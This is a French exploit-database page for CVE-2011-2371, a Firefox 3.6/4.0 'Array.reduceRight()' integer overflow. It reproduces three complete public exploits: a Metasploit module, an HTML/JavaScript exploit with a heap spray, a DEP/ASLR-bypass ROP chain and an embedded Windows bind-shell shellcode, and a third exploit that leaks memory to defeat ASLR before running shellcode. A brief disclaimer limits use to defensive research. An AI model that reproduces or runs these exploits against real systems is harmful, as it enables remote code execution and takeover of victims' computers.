Exploit matérialisé
CVE-2011-2371
3 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
remote windows Vérifié
Source
Mozilla Firefox - 'Array.reduceRight()' Integer Overflow (Metasploit) (2)
Par Metasploit
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
ruby 17976.rbCode rb
##
# $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
array object is configured with a large length value, the reduceRight() method
may cause an invalid index being used, allowing abitrary remote code execution.
Please note that the exploit requires a longer amount of time (compare to a
typical browser exploit) in order to gain control of the machine.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13909 $",
'Author' =>
[
'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org)
'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?)
'Matteo Memelli', #PoC from Exploit-DB
'dookie2000ca', #"Helping" ryujin (Matteo)
'sinn3r', #Metasploit
],
'References' =>
[
['CVE', '2011-2371'],
['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c",
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
#Windows XP / Vista / 7
[ 'Mozilla Firefox 3.6.16', {} ],
],
'Privileged' => false,
'DisclosureDate' => "Jun 21 2011",
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Firefox\/3\.6\.[16|17]/
vprint_error("This browser is not supported: #{agent.to_s}")
send_not_found(cli)
return
end
#mona.py tekniq! + Payload
rop = [
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
0x7c348b06, # EBP (NOP)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- VirtualProtect() found in IAT
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
0x7c348b06, # EDI (filler)
0x7c348b06, # will be patched at runtime (VP), then picked up into ESI
0x7c348b06, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffff82f, # size 20001 bytes
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
].pack('V*')
table = [0x4141].pack('v*')
table << [
0x0c000048,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
].pack('V*')
table << [0x4141].pack('v*')
table << [
0x7c370eef,
junk,
].pack('V*')
table << [0x4141].pack('v*')
table << [
0x3410240c,
0x0c00007c,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x0c00002e
].pack('V*')
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
js_payload = Rex::Text.to_unescape(rop + p, arch)
js_ptrs = Rex::Text.to_unescape(table, arch)
#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
js = <<-JS
var applet = document.getElementById('MyApplet');
function spray() {
var ptrs = unescape("#{js_ptrs}");
var bheader = 0x12/2;
var nullt = 0x2/2;
var espoffset = (7340 /2) - ptrs.length;
var esppadding = unescape("%u0c0c%u0c0c");
while(esppadding.length < espoffset) esppadding += esppadding;
esppadding = esppadding.substring(0, espoffset);
var payload = unescape("#{js_payload}");
var tr_padding = unescape("%u0c0c%u0c0c");
while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
var dummy = ptrs + esppadding + payload + tr_padding;
var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);
HeapBlocks = new Array()
for (i=0;i<0x60;i++){
HeapBlocks[i] += hspray;
}
}
spray();
obj = new Array;
obj.length = 2197815302;
f = function trigger(prev, myobj, indx, array) {
alert(myobj[0]);
}
obj.reduceRight(f,1,2,3);
JS
js = js.gsub(/^\t\t/, '')
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
html = <<-HTML
<html>
<head>
</head>
<body>
<APPLET id="MyApplet" code="trigger.class" width=150 height=50>
You need a Java-enabled browser to pwn this.
</APPLET>
<script>
#{js}
</script>
</body>
<html>
HTML
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
ExploitDB
remote windows Vérifié
Source
Mozilla Firefox - 'Array.reduceRight()' Integer Overflow (1)
Par ryujin
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code html
# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit
# Date: 12 Oct 2011
# Author: Matteo Memelli ryujin -AT- offensive-security.com
# CVE-2011-2371
# Full exploit package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip
<html>
<head>
<title>ff-i-<3-u</title>
</head>
<body>
<center>
<br />
Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit<br />
Date: 12 Oct 2011<br />
Author: Matteo Memelli ryujin -AT- offensive-security.com<br />
CVE-2011-2371<br />
Full exploit package: <br />
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip <br />
<br />
Thx to dookie for helping ;)<br/>
Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security<br />
http://www.mozilla.org/security/announce/2011/mfsa2011-22.html<br/>
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371<br/>
DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain<br/>
Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17<br/><br/>
<APPLET id="MyApplet" code="ph33r.class" width=150 height=50>
You need a Java-enabled browser to pwn this.
</APPLET>
</center>
<script type="text/javascript">
var applet = document.getElementById('MyApplet');
function spray() {
// fake object pointers
var ptrs = unescape("%u4141" + // padding
// MOV EDX,DWORD[ESI] 0c000048=0c00007c
"%u0048%u0c00" +
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141" + // padding
// PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]
// RETN 1C75
"%u0EEF%u7C37" +
"%u4141%u4141" + // padding
"%u4141" + // padding
"%u240c%u3410" + // 3410240c RETN after PIVOT
"%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u4141%u4141" + // padding
"%u002e%u0c00"); // 0c00007c -> 0c00002e
// CALL PIVOT 0x7C370EEF
var bheader = 0x12/2; // u.n.d.e.f.i.n.e.d. string
// beginning of each array element
var nullt = 0x2/2; // string null terminator
// 0:000> ? 0c001cbe - 0c000012
// Evaluate expression: 7340 = 00001cac
var espoffset = (7340 /2) - ptrs.length;
var esppadding = unescape("%u0c0c%u0c0c");
while(esppadding.length < espoffset) {esppadding += esppadding;}
esppadding = esppadding.substring(0, espoffset);
// sayonara rop chain
rop = unescape("%u4cc1%u7c34"); // pop eax;ret;
rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret;
rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2}
rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect
rop += unescape("%u5645%u7c36"); // pop esi;ret;
rop += unescape("%u5243%u7c34"); // ret;
rop += unescape("%u8f46%u7c34"); // pop ebp;ret;
rop += unescape("%u87ec%u7c34"); // call eax;
rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
rop += unescape("%ufdff%uffff"); // {size}
rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size}
rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx}
rop += unescape("%u39fa%u7c34"); // pop edx;ret;
rop += unescape("%uffc0%uffff"); // {flag}
rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag}
rop += unescape("%u4648%u7c35"); // pop edi;ret;
rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret;
rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment}
rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret;
rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret;
rop += unescape("%u683f%u7c36"); // push esp;ret;
rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c
// windows/shell_bind_tcp - 341 bytes
// http://www.metasploit.com
// VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
// InitialAutoRunScript=, AutoRunScript=
var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
"%u006a%uff53%u41d5");
rop += shell;
var tr_padding = unescape("%u0c0c%u0c0c");
while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}
var dummy = ptrs + esppadding + rop + tr_padding;
var hspray = dummy.substring(0,0x80000 - bheader - nullt);
// Allocation of 64 blocks of 1Mb.
HeapBlocks = new Array()
for (i=0;i<0x40;i++){
HeapBlocks[i] += hspray;
}
}
spray();
hola = new Array;
hola.length = 2197815302; // 0x0c000014 beginning of sprayed block
w00t = function ph33r(prev, myobj, indx, array) {
alert(myobj[0]); // trigger getProperty
}
hola.reduceRight(w00t,1,2,3);
</script>
</body>
</html>
ExploitDB
remote windows
Source
Mozilla Firefox 4.0.1 - 'Array.reduceRight()' Remote Overflow
Par pa_kt
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code html
<!--
Full Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18531.zip
PoC exploit for CVE-2011-2371
tested against Firefox 4.0.1
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4
change constants to switch between w7/xp.
see my blog if you want to know how this works.
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/
p_k
twitter.com/pa_kt
gdtr.wordpress.com
-->
<html>
<script src="jspack.js"></script>
<script>
function hex(x){
var y = x.toString(16);
y = "0x"+y;
return y;
}
function itoa(i)
{
return String.fromCharCode(i);
}
// n - length in bytes (1 unicode char = 2 bytes)
function puff(x, n){
while(x.length < n) x += x;
return x.substring(0,n);
}
function arr2hex(tab){
var s = "";
for(var i in tab){
x = tab[i];
x = x.toString(16);
if(x.length<2)
x = "0"+x;
s += x + " ";
}
return s;
}
function arr2ascii(tab){
var s = ""
for(var i in tab){
x = tab[i];
if(0x20 <= x && x<=0x7f){
y = itoa(x);
}
else{
y = ".";
}
s += y;
}
return s;
}
function xchg(d,i,j){
t = d[i];
d[i] = d[j];
d[j] = t;
}
function bswap(d){
xchg(d, 0, 3);
xchg(d, 1, 2);
}
function nicer(tab){
jsp = new JSPack();
res = [];
for(var i in tab){
x = tab[i];
t = jsp.Pack("d", [x]);
d1 = t.slice(0, 4);
d2 = t.slice(4, 8);
bswap(d1);
bswap(d2);
t = [d1,d2];
res = res.concat(t);
}
res = res.reverse();
return res;
}
function dw2int(d){
n = 0;
for(var i=0;i<4;i++){
n *= 256;
n += d[3-i];
}
return n;
}
function convert(tab){
o = s = v = "";
for(var i in tab){
d = tab[i];
s += arr2hex(d);
v += arr2ascii(d);
if((parseInt(i)+1)%4==0){
o += s + " | " + v + "\n";
s = "";
v = "";
}
}
return o;
}
function check_pair(d1, d2){
var n1 = dw2int(d1);
var n2 = dw2int(d2);
if(n2-n1 == 0x304)
return true;
return false;
}
function find_mozjs_base(tab){
var n1 = 0;
for(var i=0;i<tab.length-4;i++){
d1 = tab[i];
d2 = tab[i+1];
if(check_pair(d1,d2)){
n1 = dw2int(d1);
n1 = n1 - 0x3cac; //n1 = mozjs .data
n1 = n1 - 0x1B2000; //n1 = mozjs base
break;
}
}
return n1;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function odd_d2u(d1, d2){
uni = String.fromCharCode((d1&0xFF)<<8);
uni += String.fromCharCode((d1>>8)&0xFFFF);
uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
uni += String.fromCharCode((d2>>8)&0xFFFF);
uni += String.fromCharCode(d2>>24);
return uni;
}
// generated with mona.py
function rop_chain(mozjs_base){
var arr = [
mozjs_base + 0x000c96e6, // POP EAX // RETN [mozjs.dll]
mozjs_base + 0x0015d054, // ptr to &VirtualAlloc() [IAT mozjs.dll]
mozjs_base + 0x00028510, // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll]
mozjs_base + 0x0014293c, // XCHG EAX,ESI // RETN [mozjs.dll]
mozjs_base + 0x0014d00d, // POP EBP // RETN [mozjs.dll]
mozjs_base + 0x000d7ee2, // & push esp // ret 04 [mozjs.dll]
mozjs_base + 0x000be327, // POP EBX // RETN [mozjs.dll]
0x00000001, // 0x00000001-> ebx
mozjs_base + 0x0004f422, // POP EDX // RETN [mozjs.dll]
0x00001000, // 0x00001000-> edx
mozjs_base + 0x000b1421, // POP ECX // RETN [mozjs.dll]
0x00000040, // 0x00000040-> ecx
mozjs_base + 0x000062e3, // POP EDI // RETN [mozjs.dll]
mozjs_base + 0x0000f005, // RETN (ROP NOP) [mozjs.dll]
mozjs_base + 0x000652f0, // POP EAX // RETN [mozjs.dll]
0x90909090, // nop
mozjs_base + 0x001372bd // PUSHAD // RETN [mozjs.dll]
];
return arr;
}
function tab2uni(tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += d2u(tab[i]);
}
return uni;
}
function spray(mozjs_base, h1_s, hsize) {
function rva2va(addr) { return addr+mozjs_base; }
function rva2d(addr) { return d2u(rva2va(addr)); }
var align = 0x100000;
var tab_offset = 0x1000;
var TYPE_OBJECT = "%u0007%uffff";
var pivot_rva = 0x1a21c; // 0x68e7a21c : # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN
var mov_esp_ebp_rva = 0x1a222; // mov esp, ebp # pop ebp # ret
var h2_s = h1_s + hsize;
var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align
//mov eax,dword ptr [edi+64h] ;edi=[h2_ptr+4], later: call eax
var h2_ptr = h2_middle + tab_offset;
var off1 = h2_ptr;
var off2 = h2_ptr-0x64;
var v1 = d2u(off1);
var h1_fill = unescape(v1+TYPE_OBJECT);
var foo = puff(h1_fill, 0x4000);
var h1_spray = foo.substring(0,(0x4000/2)-2);
var pivot_va = rva2va(pivot_rva);
pivot_va = d2u(pivot_va);
off2 = d2u(off2);
var new_ebp = h2_ptr+18;
var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);
var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);
var rop = tab2uni(rop_chain(mozjs_base));
//shellcode by skylined
var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";
var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);
x = puff(x, 0x4000);
var h2_spray = x.substring(0,(0x4000/2)-2);
var spray_tab = new Array();
for (i=0;i<0x1000;i++){
spray_tab[i] = h1_spray+"1";
spray_tab[i].indexOf("zzz");
}
for (i=0x1000;i<0x2000;i++){
spray_tab[i] = h2_spray+"2";
spray_tab[i].indexOf("zzz");
}
}
var exploit_func =
function bleh(prev, current, index, array) {
//boom = typeof current;
current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9
//throw "up";
}
function trigger(func, arr_len){
xyz.length = arr_len;
try{
xyz.reduceRight(func,1,2,3);
}
catch(e){ }
}
function leak(){
var CHUNK_SIZE = 0x1000;
var leak_arr_len = 0xffffffff;
mem = [];
count = 0;
var leak_func =
function bleh(prev, current, index, array) {
if(typeof current == "number"){
mem.push(current);
}
count += 1;
if(count>=CHUNK_SIZE/8){
throw "lol";
}
}
function dump_mem(leak_f, arr_len){
var dump = document.getElementById("dump");
var mozjs_base = 0;
for(var i=0;;i++){
mem = [];
count = 0;
trigger(leak_f, arr_len);
mem = nicer(mem);
s = convert(mem);
dump.innerHTML = s;
//alert("leaked bytes: "+hex(mem.length*4));
mozjs_base = find_mozjs_base(mem);
//alert("mozjs base: "+hex(mozjs_base));
if(mozjs_base != 0){
break;
}
}
return mozjs_base;
}
var base = dump_mem(leak_func, leak_arr_len);
return base;
}
function go(){
//var arr_ptr = 0x05000000; //(xp sp3)
//var h1_s = 0x05b00000;
//var h2_e = 0x0fb00000;
var arr_ptr = 0x0b000000; //w7
var h1_s = 0x0b500000;
var h2_e = 0x16e00000;
var size = h2_e-h1_s;
var hsize = size/2;
var h1_middle = h1_s+hsize/2;
var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;
var mozjs_base = leak();
spray(mozjs_base, h1_s, hsize);
alert("ready");
while(1){
trigger(exploit_func, exp_arr_len);
exp_arr_len -= 0x500;
}
}
// globals
var xyz = new Array();
</script>
<body>
<input type="button" value="go" onclick="go()" />
<pre id="dump">
</pre>
</body>
</html>